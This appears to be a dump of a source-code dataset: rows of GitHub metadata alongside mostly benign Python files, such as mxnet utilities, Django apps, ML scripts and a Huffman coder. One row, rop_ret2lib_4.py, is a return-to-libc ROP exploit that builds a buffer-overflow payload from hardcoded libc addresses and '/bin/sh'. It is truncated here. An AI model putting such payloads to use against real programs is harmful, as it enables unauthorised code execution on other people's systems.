blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5baa937a803d1bfa2ca8c947fddf74cbd2b9d73b | 3a218403531ef396e32daccf7f8e7812c9f7e8d2 | /python/mxnet/seg_recordio.py | b2a2beb6c7930fea97fd62c2d0857e160dca47e4 | [
"BSD-3-Clause",
"Zlib",
"Apache-2.0",
"BSD-2-Clause",
"BSD-2-Clause-Views"
] | permissive | coderzbx/seg-mxnet | ac0f9cf450d0b4bebb26110921c83831ca832615 | a3ef65a1991d59c23b6111048fdc16d38e2862af | refs/heads/master | 2022-11-30T04:09:49.476375 | 2018-05-16T12:50:29 | 2018-05-16T12:50:29 | 127,411,826 | 0 | 1 | Apache-2.0 | 2022-11-25T01:35:29 | 2018-03-30T09:51:04 | C++ | UTF-8 | Python | false | false | 15,191 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"zhangbenxing@kuandeng.com"
] | zhangbenxing@kuandeng.com |
798e600ffd6cebdf2aa06b2b71741f788ad7e5d9 | b198f2276f3f26bed9aaae347429875e573a0355 | /Interview_Coding_Questions/extract_ip.py | 5f8f784aaec2f3b0fcda2ea23d0eec658ea14071 | [] | no_license | PKStuff/task | c4dedd8d3cd3e34ac203839592e645d112a20ff2 | 36e0ad50aabc398135b98224eb7cca05867aa3eb | refs/heads/master | 2021-06-13T22:22:56.332364 | 2021-02-09T11:57:46 | 2021-02-09T11:57:46 | 136,037,052 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | """
This is my IP address 10.10.20.189 on network 2020.1.1 and also 192.168.0.1
"""
def extractIP(s1):
s1 = s1.split()
for string in s1:
if string.count('.') == 3:
print(string)
s1 = "This is my IP address 10.10.20.189 on network 2020.1.1 and also 192.168.0.1"
extractIP(s1) | [
"noreply@github.com"
] | noreply@github.com |
c3ef23d87718434c242e7c55f33d4ccb0809bb27 | 77170eede81686cc4cac018e243b04d74c146ae6 | /rop_ret2lib_4.py | 64b7fdb79598929c51f1333fcbd3f1d116e8460c | [] | no_license | Ravin-Academy/rop_ret2libc | 76e1888608af3270a847e22f019c33a2eeefe7d1 | 88692860b0d601ab11eaad1743ef45a487dbe677 | refs/heads/main | 2023-02-20T03:43:55.360916 | 2021-01-23T16:00:14 | 2021-01-23T16:00:14 | 332,245,113 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 528 | py | #!/usr/bin/python
from struct import *
import os
libc_binsh = pack("<I", 0xf7ef7aaa)
libc_printf = pack("<I", 0xf7dcb860)
libc_exit = pack("<I", 0xf7daaa60)
libc_popret = pack("<I", 0xf7e76671)
ret = pack("<I", 0x804900a)
rop_popret = pack("<I", 0x804901e)
buffer = ''
buffer += "A" * 312
# printf("/bin/sh")
buffer... | [
"ramin.blackhat@gmail.com"
] | ramin.blackhat@gmail.com |
eb76b301f837d1da1c9bc0341c4261cae372ca7f | 9bc2f8151e15d59b0c0327be3deaa7f126814946 | /setup.py | 0078180a166fe2d5240476c3ffeca45415ac549b | [
"MIT"
] | permissive | ashwin1111/sageintacct-sdk-py | b6f817093ff0fb0ef60b46153d19b2ba13e595ed | ed3a1a27580d00b589af5b9a738994d8204b1062 | refs/heads/master | 2022-11-14T11:44:02.750873 | 2020-07-03T09:26:34 | 2020-07-03T09:26:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 895 | py | """
Project setup file
"""
import setuptools
with open('README.md', 'r') as f:
long_description = f.read()
setuptools.setup(
name='sageintacctsdk',
version='0.1.0',
author='Ashwin T',
author_email='ashwin.t@fyle.in',
description='Python SDK for accessing Sage Intacct APIs',
license='MIT',
... | [
"noreply@github.com"
] | noreply@github.com |
328bccf4b3138a2c108c76e34c1341d685b88b08 | 7e2af9fa47719462a238693c26ac9c872749c58c | /Environments/project1_env/lib/python3.6/linecache.py | 5aed931c8d3afc86198b3c5b70a44b3aa147d47a | [] | no_license | williamsonchris/Udacity | b0a169f6a02f5897cd810de51f7e4657ccc29b17 | 4c947484f096fff2d8a5916145d3288b461efe25 | refs/heads/master | 2020-03-30T08:45:44.107299 | 2018-10-02T05:14:20 | 2018-10-02T05:14:20 | 151,037,529 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 46 | py | /Users/CW/anaconda3/lib/python3.6/linecache.py | [
"CW@Chris-Williamson-2.local"
] | CW@Chris-Williamson-2.local |
169f922fde12e42c0892becb0540abb35f3580b1 | 0fdac0d61352d3759cec291cababeef4c65c59f4 | /mp3player.py | 985cf2c87944d304a617b3c8dbd07a46c7d4d1c1 | [] | no_license | masterx2/VKD | e638b1d00233c87a48c3c55753d3e01f901c123f | d4aedaaa05d754ddf68c586a224443968efbc6dd | refs/heads/master | 2016-08-06T13:03:55.980854 | 2013-06-23T16:52:42 | 2013-06-23T16:52:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,501 | py | __author__ = 'MasterX2'
from PyQt4 import QtGui, QtCore
from PyQt4.phonon import Phonon
class Window(QtGui.QPushButton):
def __init__(self):
QtGui.QPushButton.__init__(self, 'Choose File')
self.mediaObject = Phonon.MediaObject(self)
self.audioOutput = Phonon.AudioOutput(Phonon.Mus... | [
"true.masterx@gmail.com"
] | true.masterx@gmail.com |
fbb0c4e5b8fe265c6360855246cde8f9766f8dcf | 7df98e150bb9bf9c4ef3299a00e70de80ef0fdad | /04-estimation/01-intro-to-estimation/website/22. Least Squares Notebook/Least-Squares-Solution.py | a8c9cc81fb40cb6d332f32dbed702c7e4ffeaa28 | [] | no_license | AkshadK/autonomous-flight-course-notes | fda761a31f2e208eab241bc4823fcf4dfa86a22b | 6dc4cdf765c3018eb90c4e806d46841669d37c9e | refs/heads/master | 2023-05-02T23:51:09.677180 | 2020-05-17T13:57:42 | 2020-05-17T13:57:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,841 | py | #!/usr/bin/env python
# coding: utf-8
# # Least Squares
#
# In this notebook you'll use least squares to estimate a state vector $x$, given $m$ noisy measurements derived from:
#
# $
# \tilde{y} = Hx + v
# $
#
# $v$ is sampled from gaussian $N(0, R)$, and $H$ is a matrix mapping the state space to the measurement s... | [
"arush@ilovebrands.net"
] | arush@ilovebrands.net |
b1b9341f9c0553978ee251653b9c3eee26549c87 | 34e10f715b0d49b024eb1210f1da0edc5cfbc6da | /calls/migrations/0004_auto_20200405_1653.py | 94d94b8bf10ef53fc48cbb09d9ac6f995baf5442 | [] | no_license | learyjk/call_logger | 83969eba59098662336061b3d470386948e27ad2 | 67dc8118fbbe4e8973433a4bf94267fe0c4af3fb | refs/heads/master | 2022-11-27T12:57:36.352216 | 2020-04-12T16:14:07 | 2020-04-12T16:14:07 | 253,056,118 | 1 | 0 | null | 2022-11-22T05:50:10 | 2020-04-04T17:15:59 | Python | UTF-8 | Python | false | false | 465 | py | # Generated by Django 3.0.5 on 2020-04-05 16:53
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('calls', '0003_auto_20200404_1658'),
]
operations = [
migrations.AlterField(
model_name='call',
... | [
"leary.keegan@gmail.com"
] | leary.keegan@gmail.com |
a59a925a98390920d0baad245a444b9e4bd3bdd7 | 8998e4da64a41950d2f027df0290a2feae8f4cab | /Pumml/pumml/learners.py | 7fccbcb32b1518b193d66dbb53b740dbd79cf9e3 | [] | no_license | bjutliulei/Positive-and-Unlabeled-Learning | 323a825dd61995585d62472dbe9ad227527e0a65 | c52d2024d85548a8469a17b83c94fa5ba1f4b812 | refs/heads/main | 2023-02-25T18:16:23.284594 | 2021-01-28T09:48:34 | 2021-01-28T09:48:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,233 | py | from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import precision_recall_fscore_support
from sklearn.cluster import KMeans
from sklearn.mixture import GaussianMixture, BayesianGaussianMixture
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import precision_recall_curve
from ... | [
"noreply@github.com"
] | noreply@github.com |
44ef8859d033e58a0a9a56f33e20576e31bb6668 | 85310673ac3e45956dfa904fe7fecf5d6c57bfee | /meta_dataset/data/pipeline.py | df807be9e188307ec47e3ac59bc901316c82b46e | [
"Apache-2.0"
] | permissive | ebadrian/meta_dataset | c994f15a4cda2bf8e5b51539b174184a3269e5eb | bd40ec4486de165fa6f4ca9fe839e1f685a0ee27 | refs/heads/main | 2023-01-23T18:59:36.501160 | 2020-12-04T23:49:08 | 2020-12-04T23:49:08 | 318,241,469 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25,065 | py | # coding=utf-8
# Copyright 2020 The Meta-Dataset Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | [
"adrian.el_baz@ens-paris-saclay.fr"
] | adrian.el_baz@ens-paris-saclay.fr |
e6f10d75225da6821b418260301e574f90c67f2f | 0e1f38e205ce9a8fe2dd848cc81e29fe6bcf315e | /catalog/models.py | 3b40f62ac087da15a99bf416c6d706bb9b83b93c | [] | no_license | TimothySeahGit/django-library-test | c62f49a31a0e86449771d84e135a687f5e685f0f | fc4d3d7c86aab645c3faef270dc01fe995e9ba6b | refs/heads/master | 2022-12-14T07:38:21.618018 | 2019-05-28T03:47:42 | 2019-05-28T03:47:42 | 188,566,746 | 0 | 0 | null | 2022-12-08T05:10:31 | 2019-05-25T12:59:47 | Python | UTF-8 | Python | false | false | 4,427 | py | # Used to generate URLs by reversing the URL patterns
import uuid # Required for unique book instances
from django.urls import reverse
from django.db import models
from django.contrib.auth.models import User
from datetime import date
# Create your models here.
class Genre(models.Model):
"""Model representing a ... | [
"timothyseah.t.e@gmail.com"
] | timothyseah.t.e@gmail.com |
5819b270315da9ad336332e32b0db0c3aa3325a1 | f55e6d86adc4155e99f8a2047a297cf0b3277616 | /manager.py | a7756f495ef2b167481f9379d160f8e6033ba998 | [] | no_license | DengZY123/sunners | 1d87fdef3abda2c814a9ae587e4cf03a9ac23263 | 46b822fe915b2559df407126951db73857844537 | refs/heads/master | 2023-02-28T12:12:23.170118 | 2021-02-07T10:21:19 | 2021-02-07T10:21:19 | 271,981,338 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 532 | py |
from flask_script import Server
import sys
sys.path.append('../')
from application import manager
from application import app
import www
#manager.add_command("runserver",Server(port=app.config['SERVER_PORT'],use_debugger=True,use_reloader=True))
manager.add_command("runserver",Server(port=8999,use_debugger=True ,use... | [
"458548791@qq.com"
] | 458548791@qq.com |
a8ba14a006fb88ac5415201cfab9678983738d9d | b47f2e3f3298388b1bcab3213bef42682985135e | /experiments/fdtd-2d/tmp_files/2238.py | 6dfcdd1cd9629a3c959c2e3b61310de6617d05bf | [
"BSD-2-Clause"
] | permissive | LoopTilingBenchmark/benchmark | 29cc9f845d323431e3d40e878cbfc6d1aad1f260 | 52a3d2e70216552a498fd91de02a2fa9cb62122c | refs/heads/master | 2020-09-25T09:45:31.299046 | 2019-12-04T23:25:06 | 2019-12-04T23:25:06 | 225,975,074 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | from chill import *
source('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/polybench/polybench-code/stencils/fdtd-2d/kernel.c')
destination('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/experiments/fdtd-2d/tmp_files/2238.c')
procedure('kernel_fdtd_2d')
loop(0)
known(' nx > 1 ')
known(' ny > 1 ')
ti... | [
"nashenruoyang@163.com"
] | nashenruoyang@163.com |
e1fb60594b9677bac8acc8141bfa22fb1dceca1e | e8734347fbd04af9372c532627271cd163594378 | /registration/models.py | fbd2602b7b028b1b9768cb917ebadc6f735bb692 | [] | no_license | sreeja-g/ichoose_e_commerce | fcbb539d6a1667cc429f5de17a25155b92d3ef71 | fa8935f6cb078d83a2461cd17dca7087e33140ee | refs/heads/master | 2020-12-23T19:54:03.933418 | 2020-03-07T21:21:38 | 2020-03-07T21:21:38 | 237,254,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 454 | py | from djongo import models
from django.contrib.auth.models import AbstractUser
class User(AbstractUser):
mobile = models.CharField(max_length=16)
address = models.TextField()
bank_details=models.TextField()
verification_status=models.BooleanField(default=False)
verification_applied = models.Boolean... | [
"sreejagaddamidi99@gmail.com"
] | sreejagaddamidi99@gmail.com |
694debae9d0c3be37bb1ceb195eb5416f77e203d | 8bc02f1e939c5802606f1776afe28e7288521c3a | /mifiel/document.py | e2d0d024da5d40e0a7bc3b3a2d7f12dc40d398e5 | [
"MIT"
] | permissive | krriyo/python-api-client | 4b224e5025f191c1494808655b18f14aedde2a3a | fb4e37382ca9e2f65e36d344d91c4edafeeec1dd | refs/heads/master | 2021-01-16T19:53:32.110635 | 2016-06-13T15:08:05 | 2016-06-13T15:10:23 | 61,143,710 | 0 | 0 | null | 2016-06-14T17:51:14 | 2016-06-14T17:51:14 | null | UTF-8 | Python | false | false | 827 | py | from mifiel import Base
class Document(Base):
def __init__(self, client):
Base.__init__(self, client, 'documents')
@staticmethod
def find(client, doc_id):
doc = Document(client)
doc.process_request('get', url=doc.url(doc_id))
return doc
@staticmethod
def create(client, signatories, file=Non... | [
"genmadrid@gmail.com"
] | genmadrid@gmail.com |
c4730fe7b6b349a796fd414431f490ab99e64b94 | 1cc79da2b428403981b145c4ba2934c85e73440b | /code/load_instance.py | e6221bfb7d938b9836a9b759c8bbc673a72c82f2 | [] | no_license | Iggytung/two-stage-robust-RCPSP | 3bd41b264a208bdf28ed76e9f9cb849a1c8540b7 | 94e7bc23e0ee82574335f11850a554766a85f673 | refs/heads/master | 2023-01-13T07:01:28.679534 | 2020-11-12T14:19:05 | 2020-11-12T14:19:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,990 | py |
import re
import os
def load_instance(path_to_file):
f = open(path_to_file, 'r')
raw_lines = f.read().splitlines()
f.close()
data = {'E':{}, 'd':[], 'r':[]}
line_counter = 0
for line in raw_lines:
ints = list(map(int, re.findall(r'\d+', line))) #list of integers in line
if len(... | [
"boldm1@ega091000004.lancs.ac.uk"
] | boldm1@ega091000004.lancs.ac.uk |
f4fe9baf658f7699c56553c9b11e5a857db45443 | f5e028f74d682da8b299c2bac3abb825ee689594 | /groups/migrations/0005_grouppost.py | 776b055a2f6e5d840d8eada6fa255f2656c16f36 | [] | no_license | pidoxy/Insight | ac0bd5641d3e59d633b1b62293017b7069107ebc | c7abf64ef425d96af887abd220c90c340970410c | refs/heads/main | 2023-07-12T03:18:16.520733 | 2021-08-16T09:20:49 | 2021-08-16T09:20:49 | 396,128,334 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,277 | py | # Generated by Django 3.2 on 2021-05-26 18:07
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('groups', '0004_rename_prof... | [
"girik1105@gmail.com"
] | girik1105@gmail.com |
1d21b813ebb1d0d0419342b2aedcf2c3f52774cf | d157356a92d6fee8665d66cfe6b270c8f18f9159 | /ex_python/ex_1_100/exercise_16_20.py | e7010bd8078fb7e4ff8ba92093247459bff9a305 | [] | no_license | ycl-initVersion/ExerciseCodeCollect | a52622c16f51d9189293bb854b7711223f6f9c77 | 11b9c8fce262a2c6f9b43d10c1c03fa994068d53 | refs/heads/master | 2021-01-18T06:09:27.000140 | 2016-09-19T06:25:24 | 2016-09-19T06:25:24 | 68,558,652 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,505 | py |
#example 16
'''
import datetime
if __name__ == '__main__':
print(datetime.date.today().strftime('%d/%m/%Y'))
miyazakiBirthDate = datetime.date(1941,1,5)
print(miyazakiBirthDate.strftime('%d/%m/%Y'))
miyazakiBirthNextDay = miyazakiBirthDate + datetime.timedelta(days=1)
print(miyazakiBirthNextDay.str... | [
"934197808@qq.com"
] | 934197808@qq.com |
b854b2f33147ed15e806a984140b33a8a77e76fe | 562384347373c3ae872a380e3d2363fbbbe0a5b3 | /mpr_curves.py | c69ac35e2b899d12803af5570e2c60bf74299c74 | [] | no_license | XingCui666/scripts | 22df26d072648557bdddc66c93d52d45bab64c7e | 4f7488fd37ff0bf4f9bf78e93711a058885655c7 | refs/heads/master | 2022-04-14T15:46:24.407738 | 2020-03-24T04:30:53 | 2020-03-24T04:30:53 | 159,750,624 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,172 | py | # Created by Kuan Li
import json
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
from tqdm import tqdm
import sys
import os
IOU_TH_50 = 0.5
IOU_THS = [i / 20 + 0.5 for i in range(9, -1, -1)]
class Dt:
def __init__(self, img_id, score, bbox, mode="mPR"):
"""
single dt
... | [
"xingcui@qa-gpu018.aibee.cn"
] | xingcui@qa-gpu018.aibee.cn |
3ec8c9a9aafd5ce250c96413e44240d1a277bb9b | e8bfb2f17d014d2d71325192ec16385d6e504980 | /sample_run_12.py | b489f2f2315c548ccb85cb43037ff04e1368ec7d | [] | no_license | HarikrishnanBalagopal/useful_scripts | 7fabaa7bd7d041cbce1d53b83424300a4ae39944 | 33e2d27e8cc2143b4392b7a06168a4112f9b614e | refs/heads/master | 2022-08-02T03:30:32.748904 | 2020-06-03T14:36:18 | 2020-06-03T14:36:18 | 267,655,704 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,813 | py | import os
import json
import torch
import numpy as np
import matplotlib.pyplot as plt
from torch import nn, optim
from tqdm.notebook import tqdm
from scipy.stats import truncnorm
from argparse import ArgumentParser
from text_encoder import TextEncoder
from text_decoder import TextDecoder
from easydict import EasyDict ... | [
"harikrishmenon@gmail.com"
] | harikrishmenon@gmail.com |
df3ee582d21448c9b6a5b04bf4e9f86b698c7454 | 85ce8600a5857ab8bd19f425b25fb1ac3a6ae137 | /hashing.py | 4edf11db744cf34e6e27e432622dd34fea0f8dba | [] | no_license | styopazharkov/dontsaypineapple | c38c713361f642c9a77f3cde9f40120e26ab960d | 1e96f5570a61cf45ccdc6a6125e363485ad2e85f | refs/heads/master | 2023-08-25T20:17:33.080680 | 2021-11-07T19:36:45 | 2021-11-07T19:36:45 | 317,384,759 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 915 | py | #### This file contains the hashing helper functions ####
import hashlib, binascii, os
### Hash a password for storing. ###
def hashpass(password):
salt = hashlib.sha256(os.urandom(60)).hexdigest().encode('ascii')
pwdhash = hashlib.pbkdf2_hmac('sha512', password.encode('utf-8'),
... | [
"styopazharkov@gmail.com"
] | styopazharkov@gmail.com |
71b2e819f9b87e7fec810e93dc2fb3d1006ac89d | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_combos.py | cac18802b80f0f4ecc83aabd2e7d23ba1ed8481a | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 231 | py |
from xai.brain.wordbase.nouns._combo import _COMBO
#calss header
class _COMBOS(_COMBO, ):
def __init__(self,):
_COMBO.__init__(self)
self.name = "COMBOS"
self.specie = 'nouns'
self.basic = "combo"
self.jsondata = {}
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
7f573440117d22c0ac92c4425d4cb2d7b491ddf6 | a7baf83cd25be7a9ba95bb43945fab5c17766d5a | /search/views.py | 3ebadf75ff8cbc666f82e42b7049073e32d75ae0 | [] | no_license | sanjeev-mystical/eCOMMERCE | a44829d74749b92b5139629a41f8dee342e62882 | f5648ebb3a580f466034ccf6c6c41181dbd8de5e | refs/heads/master | 2022-06-08T03:42:01.899611 | 2020-05-05T04:55:27 | 2020-05-05T04:55:27 | 259,207,150 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 671 | py | from django.shortcuts import render
from django.views.generic.list import ListView
from products.models import Product
# Create your views here.
class SearchProductView(ListView):
template_name = 'search/view.html'
def get_context_data(self, *args, **kwargs):
context = super(SearchProductView, self).... | [
"shuklasanjeev225@gmail.com"
] | shuklasanjeev225@gmail.com |
bd6651931aed58d7bfd2c1949c7dea3b99edfd6c | b685036280331fa50fcd87f269521342ec1b437b | /src/data_mining_demo/py_shuJuWaJue_ruMen_yu_ShiJian/chapter3/demo2.py | 7e2ee679470b22f9af507b2f12f77a6431309659 | [] | no_license | chenqing666/myML_DM_Test | f875cb5b2a92e81bc3de2a0070c0185b7eacac89 | 5ac38f7872d94ca7cedd4f5057bb93732b5edbad | refs/heads/master | 2022-02-26T01:52:06.293025 | 2019-09-20T06:35:25 | 2019-09-20T06:35:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | import pickle
import numpy as np
import pandas as pd
datafile = "./cleanedData.dai"
with open(datafile, 'rb') as file:
dataset = pickle.load(file)
print(dataset.head()) | [
"daijitao@ctsi.com.cn"
] | daijitao@ctsi.com.cn |
82812f0cb1ad89fee4e2c4ad453429f5b4e8cc8f | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_118/619.py | 85060cf54efea0ef148ad0160403ca71cbb9b978 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 596 | py | # -*- coding: utf-8 -*-
import sys
def is_palindrome(num):
s1 = str(num)
s2 = s1[::-1]
return s1 == s2
fair_numbers = []
for i in range(pow(10, 7)+1):
if is_palindrome(i):
num = i*i
if is_palindrome(num):
fair_numbers.append(num)
N = int(sys.stdin.readline())
for T in ran... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
f1f0346609c95cd9528fa736d70e63b6a54c6372 | fe179646f3efc67c7d97e20d8bb23de4649cfd71 | /ML/recording voice.py | 8c565b500a537bb9d1a0da5d5f51a75ac24ddf69 | [] | no_license | Piyush-Ghotkar/DK287_PASUS_BML_MUNJAL_UNIVERSITY | dac0a7d40b2ea81e0a4b813b3654372c50b155c6 | 8dd008e45cd4506bae105c2041cf2e18388f9adf | refs/heads/master | 2023-05-12T05:16:18.583087 | 2020-11-11T14:34:21 | 2020-11-11T14:34:21 | 283,998,494 | 0 | 0 | null | 2021-06-02T03:01:13 | 2020-07-31T09:42:09 | ASP.NET | UTF-8 | Python | false | false | 492 | py | import speech_recognition as sr #importing the library
r=sr.Recognizer()
with sr.Microphone() as source:
print('Start speaking')
audio = r.listen(source)
#with open('speech.wav','wb') as f:
#f.write(audio.get_wav_data())
print('Done listening, Processing.....')
print(audio)
prin... | [
"noreply@github.com"
] | noreply@github.com |
9fde6b1cc14c9a979633c4f2df97f24dca4d78bb | 84290c584128de3e872e66dc99b5b407a7a4612f | /Supervised Learning with scikit-learn/Preprocessing and pipelines/Centering and scaling.py | c21eb26fe58bf9a8d53c990a24d3b0ab871dee0b | [] | no_license | BautizarCodigo/DataAnalyticEssentials | 91eddc56dd1b457e9e3e1e3db5fbbb2a85d3b789 | 7f5f3d8936dd4945ee0fd854ef17f04a04eb7b57 | refs/heads/main | 2023-04-11T04:42:17.977491 | 2021-03-21T19:05:17 | 2021-03-21T19:05:17 | 349,784,608 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 504 | py | # Import scale
from sklearn.preprocessing import scale
# Scale the features: X_scaled
X_scaled = scale(X)
# Print the mean and standard deviation of the unscaled features
print("Mean of Unscaled Features: {}".format(np.mean(X)))
print("Standard Deviation of Unscaled Features: {}".format(np.std(X)))
# Print the mean ... | [
"78171986+BautizarCodigo@users.noreply.github.com"
] | 78171986+BautizarCodigo@users.noreply.github.com |
dc83fcd6ae70daf74c6861eb3265743bad91efb8 | 6a111b290ef2bf08c9a64f9ea72e2cc5c910b0d0 | /pycrafter4500_stepper-based-master/client side/main.pyw | 352e3666a7ac67425afd02f1773cbd6bcd420f90 | [] | no_license | ZhaoxinLee/MagRobotPrinter | d5f3cbde4551aac9e819df71902ed57dbcaea463 | 43ceaf7ea5e4d3cb7622c14585250c95876a87ec | refs/heads/master | 2022-09-09T02:17:01.265454 | 2022-08-17T21:38:10 | 2022-08-17T21:38:10 | 195,290,571 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 286 | pyw | import sys
from callbacks import GUI
from PyQt5 import QtWidgets
import warnings
warnings.filterwarnings("ignore")
if __name__ == "__main__":
app = QtWidgets.QApplication(sys.argv)
window = GUI()
window.move(150,100)
window.show()
sys.exit(app.exec_())
| [
"noreply@github.com"
] | noreply@github.com |
9726353f578aad3a94526c5f75342b308e3a2e1c | 6926bcf24f96568972cfd58b3490fe40c61ae390 | /sales/migrations/0001_initial.py | 079b37bde8a1add42e930545014f043664241939 | [] | no_license | wencong1724427771/Backend-management-system | 64f597a9be15cd4d70ed8918291c4019c192e123 | 9c78c49098256d5f6dd7672646f14c677e48564a | refs/heads/master | 2023-08-07T15:32:52.045784 | 2021-09-19T02:33:59 | 2021-09-19T02:33:59 | 376,212,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,806 | py | # Generated by Django 3.2.6 on 2021-08-29 09:51
from django.db import migrations, models
import django.db.models.deletion
import multiselectfield.db.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
('rbac', '0001_initial'),
]
operations = [
... | [
"1724427771@qq.com"
] | 1724427771@qq.com |
43b8c08aef019d6e918ec740a570488a43396bcf | 1ebed017fec5d8c7ec9fe11a593f7e42a1e09083 | /lab_03_11.py | ce18050e27ab7c9730b89c193a93bae9535555a5 | [] | no_license | Captain-on-time/Info-Labs-6 | 714b5b56ff5569fc8da9091df3851a551a2e6b93 | 55a54df614209f8e946d2c497d9fd6537c88d65d | refs/heads/main | 2023-02-20T15:24:31.684267 | 2021-01-24T16:44:38 | 2021-01-24T16:44:38 | 332,487,627 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,145 | py | from heapq import heappush as insert, heappop as pop
class Node:
def init(self):
self.value = None
def createDict(self):
if self.value != None:
return dict([(self.value, "")])
Dict = dict()
if self.left != None:
Dict_l = self.l... | [
"noreply@github.com"
] | noreply@github.com |
6712d458cdfadfd2c8461273e0c8f6eccdd02d0f | 58cef2a341f2a19ea0e8d0e9f3a79a386d9b72cf | /manage.py | 73bee40ef8964a7d5ca6176bba700c87bf2d5681 | [] | no_license | Ujjawal-Anand/Stackflow | 9a8a5af4e4c9e0fb9d5322f70413d1906500d085 | c71bbd8de97566c2773d3b29f669211240a01c42 | refs/heads/master | 2022-12-11T00:08:48.619781 | 2020-09-03T16:44:35 | 2020-09-03T16:44:35 | 290,780,334 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 629 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'StackFlow.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise Impo... | [
"ujjawalanand1729@gmail.com"
] | ujjawalanand1729@gmail.com |
e0e9990a35ed37a9ba3a659c967e7ba2811dfa3f | c717e0ead7596d7e32ad2c0d2a1a1fd9a50b405e | /sqrt-i/XX-01-2021/25-01-2021/decypher.py | 0c4dfc9cc0cfed332dd1adeb0d90f464a8769e55 | [] | no_license | tom-xs/CTF_notes | 6cbf3ba8bdf085c5b51ec1d5a81d5b528bc1b117 | 4926094a86400e6a9895139219a299062c574c29 | refs/heads/master | 2023-03-14T06:47:51.347772 | 2021-03-01T00:01:17 | 2021-03-01T00:01:17 | 327,574,415 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 872 | py | def reverse(s):
p1 = ""
#subtrai 5 de cada in
for n in s:
n = ord(n)
n -=5
n = chr(n)
p1+=n
#print(p1)
#cria lista vazia l1
l1 = []
for i in range(7):
l1.append("")
#divide o "p1" em lista
l1[0] = p1[0]
n = int(l... | [
"txs@ecomp.poli.br"
] | txs@ecomp.poli.br |
